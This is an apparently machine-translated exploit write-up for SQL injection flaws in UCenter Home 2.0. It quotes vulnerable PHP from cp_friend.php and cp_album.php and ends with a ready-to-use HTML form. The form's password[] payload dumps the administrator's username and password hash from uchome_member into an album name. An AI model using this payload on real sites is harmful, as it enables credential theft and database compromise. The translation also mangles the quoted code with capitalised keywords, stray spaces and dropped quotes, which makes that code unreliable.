UCenter Home2.0 chicken ribs Injection

By: xhming

1. source/cp_friend.php File

Elseif ($ op = group ){

If (submitcheck (groupsubmin )){
If (empty ($ _ POST [fuids]) {
Showmessage (please_correct_choice_groups_friend );
}
$ Ids = simplode ($ _ POST [fuids]);
$ Groupid = intval ($ _ POST [group]);
Updatetable (friend, array (gid => $ groupid), "uid = $ _ SGLOBAL [supe_uid] AND fuid IN ($ ids) AND status = 1 ");
Friend_cache ($ _ SGLOBAL [supe_uid]);
Showmessage (do_success, $ _ SGLOBAL [refer]);
}

$ Perpage = 50;
$ Page = empty ($ _ GET [page])? 1: intval ($ _ GET [page]);
If ($ page <1) $ page = 1;
$ Start = ($ page-1) * $ perpage;

$ List = array ();
$ Multi =;
$ Space [friendnum] = 1;
If ($ space [friendnum]) {
$ Groups = getfriendgroup ();

$ Theurl = cp. php? Ac = friend & op = group;
$ Group =! Isset ($ _ GET [group])? -1: intval ($ _ GET [group]);
If ($ group>-1 ){
$ Wheresql = "AND main. gid = $ group ";//-----??
$ Theurl. = "& group = $ group ";
}
$ Count = $ _ SGLOBAL [db]-> result ($ _ SGLOBAL [db]-> query ("select count (*) FROM". tname (friend). "main
WHERE main. uid = $ space [uid] AND main. status = 1 $ wheresql "), 0 );
........................................ ..
$ Wheresql variable is not initialized, So union cannot be used here and only blind injection is allowed.
Using this method, register two users and add them with one uid. After the operation is successful, add wheresql = to the address bar and an error message will be displayed! For example, cp. php? Ac = friend & op = group & wheresql = exp!

2. sourcecp_album.php

.....................
If ($ _ GET [op] = edit ){

If ($ albumid <1 ){
Showmessage (photos_do_not_support_the_default_settings, "cp. php? Ac = album & op = editpic ", 0 );
}

$ Query = $ _ SGLOBAL [db]-> query ("SELECT * FROM". tname (album). "WHERE albumid = $ albumid ");
If (! $ Album = $ _ SGLOBAL [db]-> fetch_array ($ query )){
Showmessage (no_privilege );
}

If ($ album [uid]! = $ _ SGLOBAL [supe_uid] &! Checkperm (managealbum )){
Showmessage (no_privilege );
}

If (submitcheck (editsubmit )){
$ _ POST [albumname] = getstr ($ _ POST [albumname], 50, 1, 1, 1 );
If (empty ($ _ POST [albumname]) {
Showmessage (album_name_errors );
}

// Privacy
$ _ POST [friend] = intval ($ _ POST [friend]);
$ _ POST [target_ids] =;
If ($ _ POST [friend] = 2 ){
// A specific friend
$ Uids = array ();
$ Names = empty ($ _ POST [target_names])? Array (): explode (, str_replace (cplang (tab_space), $ _ POST [target_names]);
If ($ names ){
$ Query = $ _ SGLOBAL [db]-> query ("SELECT uid FROM ". tname (space ). "WHERE username IN (". simplode ($ names ). ")");
While ($ value = $ _ SGLOBAL [db]-> fetch_array ($ query )){
$ Uids [] = $ value [uid];
}
}
If (empty ($ uids )){
$ _ POST [friend] = 3; // only visible to you
} Else {
$ _ POST [target_ids] = implode (, $ uids );
}
} Elseif ($ _ POST [friend] = 4 ){
// Encryption
$ _ POST [password] = trim ($ _ POST [password]); // ------- note
If ($ _ POST [password] =) $ _ POST [friend] = 0; // public
}
If ($ _ POST [friend]! = 2 ){
$ _ POST [target_ids] =;
}
If ($ _ POST [friend]! = 4 ){
$ _ POST [password] =;
}

Updatetable (album, array (albumname = >$ _ POST [albumname], friend =>$ _ POST [friend], password =>$ _ POST [password], target_ids =>$ _ POST [target_ids]), array (albumid => $ albumid ));
Showmessage (do_success, "cp. php? Ac = album & op = edit & albumid = $ albumid ");
}

......................................
We can see that the $ _ POST [password] variable is not filtered. Let's look at the updatetable function again.

Function updatetable ($ tablename, $ setsqlarr, $ wheresqlarr, $ silent = 0 ){
Global $ _ SGLOBAL;

$ Setsql = $ comma =;
Foreach ($ setsqlarr as $ set_key => $ set_value ){
If (is_array ($ set_value )){
$ Setsql. = $ comma. '. $ set_key.'. =. $ set_value [0]; // -------- note
} Else {
$ Setsql. = $ comma. '. $ set_key.'. =. $ set_value .;
}
$ Comma = ,;
}
$ Where = $ comma =;
If (empty ($ wheresqlarr )){
$ Where = 1;
} Elseif (is_array ($ wheresqlarr )){
Foreach ($ wheresqlarr as $ key => $ value ){
$ Where. = $ comma. '. $ key.'. =. $ value .;
$ Comma = AND;
}
} Else {
$ Where = $ wheresqlarr;
}

$ _ SGLOBAL [db]-> query (UPDATE. tname ($ tablename). SET. $ setsql. WHERE. $ where,

$ Silent? SILENT :);
}
If $ set_value is an array, $ set_value [0] is not protected by single quotation marks.
The disadvantage is that you have the permission to judge: if ($ album [uid]! = $ _ SGLOBAL [supe_uid] &! Checkperm (managealbum )){
Showmessage (no_privilege);} You can also find out which function is used and available!
Exp:
<Form method = "post" id = "theform" name = "theform" action ="Http: // 127.1/UCenter % 20Home2/cp. php? Ac = album & op = edit & albumid = 1"Class =" c_form ">
<Input type = "hidden" name = "albumname" value = "a" size = "20"/>
Injection statement: <br>
<Input type = "text" name = "password []" value = "0, target_ids = 0, albumname = (select concat (username, 0x7C, password) from uchome_member where uid = 1) where albumid = 1 # "size =" 130 "type =" codeph "text ="/codeph "/>

<Input type = "hidden" name = "refer" value = ""/>
<Input type = "hidden" name = "editsubmit" value = "true"/>
<Input type = "hidden" name = "formhash" value = "d5e7b9c3"/>
<Button name = "submit" type = "submit" class = "submit" value = "true"> OK </button>
</Form>

Note: Although vulnerabilities are rare, they can be regarded as a great benefit to everyone!